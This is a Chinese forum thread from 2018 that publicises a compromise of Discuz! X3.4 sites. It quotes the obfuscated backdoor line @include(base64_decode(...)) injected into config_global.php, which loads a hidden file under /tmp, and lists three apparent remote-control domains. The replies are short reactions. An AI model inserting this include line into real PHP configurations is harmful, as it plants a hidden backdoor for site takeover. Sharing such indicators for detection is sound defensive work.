Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示

民审-M · 发表于 2018-9-28 16:19:58

本帖最后由民审-M 于 2018-9-28 16:22 编辑

Discuz! X3.4版本以下/config/config_global.php注入漏洞：
@include(base64_decode('L3RtcC8uVGVzdC11bml4L2NsaWVudC5waHA='));

解析：
写入服务器/tmp/.Test-unix/client.php
远程控制注入地址：

www.womendemengxiang.com

gbk.baidu901.com

9a9vj.com:8888

内容：

游客，如果您要查看本帖隐藏内容请回复

奥黛丽赫本 · 发表于 2018-9-28 21:38:21

666666666666

地摊网 · 发表于 2018-10-1 01:08:56

前几天我就被这漏洞注入了

空白影子 · 发表于 2018-10-1 20:21:25

学习学习顶

美女丶别跑呀 · 发表于 2018-10-8 14:38:18

66666666看看内容

decode · 发表于 2018-10-10 15:31:42

需要详细信息

Master · 发表于 2018-10-17 19:40:42

太厉害呀

谁是我的谁 · 发表于 2018-10-28 20:58:41

这是很久以前的了吧

天空的风 · 发表于 2018-10-30 09:56:49

看看这个

人生难懂 · 发表于 2018-10-31 14:23:57

好好好

Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示

相关帖子

浏览过的版块

论坛元老

热心会员

灌水之王

个人中心